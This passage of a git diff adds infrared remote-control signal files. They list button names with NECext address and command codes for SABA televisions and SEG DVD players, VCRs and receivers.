+# +name: adown +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 46 00 00 00 +# +name: aright +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 49 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 4A 00 00 00 +# +name: zeven +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 54 00 00 00 +# +name: vier +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 55 00 00 00 +# +name: een +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 56 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 57 00 00 00 +# +name: vijf +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 59 00 00 00 +# +name: twee +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5A 00 00 00 +# +name: zes +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5D 00 00 00 +# +name: drie +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5E 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 5F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir new file mode 100644 index 000000000..2c261585f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_SabaTC460/7,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: Color+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 03 00 00 00 +# +name: Color- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 04 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_C +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 06 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: Bright+ +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0B 00 00 00 +# +name: Bright- +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0C 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: VT/TV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 18 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1C 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: Norm +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: Treble +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: Bass +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 21 00 00 00 +# +name: Page +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 22 00 00 00 +# +name: Contrast +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 23 00 00 00 +# +name: Sound3D +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 24 00 00 00 +# +name: Balance +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 25 00 00 00 +# +name: KEY_S +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 28 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: MIX +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2B 00 00 00 +# +name: Progr/100 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 34 00 00 00 +# +name: CS/Stop +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 35 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir new file mode 100644 index 000000000..cd9d71a87 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SABA/Unknown_TC3003/7,-1.ir @@ -0,0 +1,134 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 00 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 01 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 02 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 05 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 08 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0A 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 0E 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 10 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 11 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 12 00 00 00 +# +name: VT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 15 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1D 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1E 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 20 00 00 00 +# +name: FUNC.VT +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 29 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 2A 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 38 00 00 00 +# +name: PAGE +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 39 00 00 00 +# +name: HIDDEN +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3B 00 00 00 +# +name: KEY_TV +type: parsed +protocol: NECext +address: 07 00 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir new file mode 100644 index 000000000..d768b8aea --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_E6900-X020A/2,-1.ir @@ -0,0 +1,308 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 09 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0A 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0B 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0C 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0D 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 10 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 12 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 13 00 00 00 +# +name: l/r/st +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 14 00 00 00 +# +name: step +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 15 00 00 00 +# +name: function +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 16 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 17 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 18 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 19 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1A 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1B 00 00 00 +# +name: rds +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1C 00 00 00 +# +name: ch-level +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1D 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 1F 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 40 00 00 00 +# +name: memory +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 41 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 42 00 00 00 +# +name: fastback +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 44 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 45 00 00 00 +# +name: surrmode +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 46 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 47 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 48 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4A 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4B 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4C 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4D 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 4F 00 00 00 +# +name: dimmer +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 50 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 51 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 52 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 53 00 00 00 +# +name: fmmode +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir new file mode 100644 index 000000000..d16606880 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-DVD-430/32,-1.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 02 00 00 00 +# +name: resume +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 09 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0B 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0D 00 00 00 +# +name: KEY_SLEEP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0E 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 0F 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 10 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 11 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 12 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 13 00 00 00 +# +name: a-b +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 14 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 15 00 00 00 +# +name: KEY_LANGUAGE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 16 00 00 00 +# +name: X_KEY_1-all +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 17 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 18 00 00 00 +# +name: f.r +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 19 00 00 00 +# +name: KEY_EJECTCD +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1A 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1B 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1C 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1D 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1E 00 00 00 +# +name: KEY_SLOW +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 1F 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 40 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 42 00 00 00 +# +name: program +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 43 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 44 00 00 00 +# +name: vocal-assist +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 47 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 48 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 49 00 00 00 +# +name: pbc +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4C 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 4D 00 00 00 +# +name: KEY_SEARCH +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 50 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 51 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 54 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 55 00 00 00 +# +name: display +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 58 00 00 00 +# +name: f.f +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 59 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5C 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 20 00 00 00 +command: 5D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir new file mode 100644 index 000000000..beef3cc2b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SEG-VCR4300/21,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 09 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0D 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0E 00 00 00 +# +name: FFWD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 0F 00 00 00 +# +name: FRWD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 10 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 11 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 12 00 00 00 +# +name: SLOW_MOTION +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 13 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 15 00 00 00 +# +name: TV_VCR +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 16 00 00 00 +# +name: PR+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 17 00 00 00 +# +name: PR- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 18 00 00 00 +# +name: AD +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 19 00 00 00 +# +name: A_SEL +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1A 00 00 00 +# +name: SP_LP +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1B 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1D 00 00 00 +# +name: FFWD_30 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1E 00 00 00 +# +name: PAL_SEC +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 1F 00 00 00 +# +name: EJECT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 21 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 22 00 00 00 +# +name: QS +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 27 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 29 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 31 00 00 00 +# +name: INDEX+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 33 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 35 00 00 00 +# +name: AV +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 36 00 00 00 +# +name: SV_V+ +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 39 00 00 00 +# +name: INDEX- +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir new file mode 100644 index 000000000..47c18f646 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-040/133,115.ir @@ -0,0 +1,128 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 80 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 81 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 82 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 83 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 84 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 85 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 86 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 87 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 88 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8A 00 00 00 +# +name: PL +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8B 00 00 00 +# +name: Store +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8C 00 00 00 +# +name: Audio-Preset +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8D 00 00 00 +# +name: Mo/St +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 8F 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 90 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 91 00 00 00 +# +name: Tuneup +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 92 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 95 00 00 00 +# +name: Tunedown +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 96 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 97 00 00 00 +# +name: Set +type: parsed +protocol: NECext +address: 85 73 00 00 +command: 98 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir new file mode 100644 index 000000000..d26e215f0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR-201/66,253.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 00 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 03 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 05 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 06 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 07 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 09 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 0A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 0B 00 00 00 +# +name: erase +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 0C 00 00 00 +# +name: tuneUp +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 0D 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 0F 00 00 00 +# +name: decoder +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 14 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 16 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 19 00 00 00 +# +name: store +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 1C 00 00 00 +# +name: TuneDown +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 1D 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 1E 00 00 00 +# +name: h/v +type: parsed +protocol: NECext +address: 42 FD 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir new file mode 100644 index 000000000..ef8b3ca11 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_SR800/4,-1.ir @@ -0,0 +1,122 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 09 00 00 00 +# +name: KEY_M +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0E 00 00 00 +# +name: A/S +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 0F 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 10 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 12 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 13 00 00 00 +# +name: AFC +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1C 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 04 00 00 00 +command: 1E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir new file mode 100644 index 000000000..106d88547 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/SEG/Unknown_VCR/21,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 15 00 00 00 +command: 01 00 00 00 +# +name: 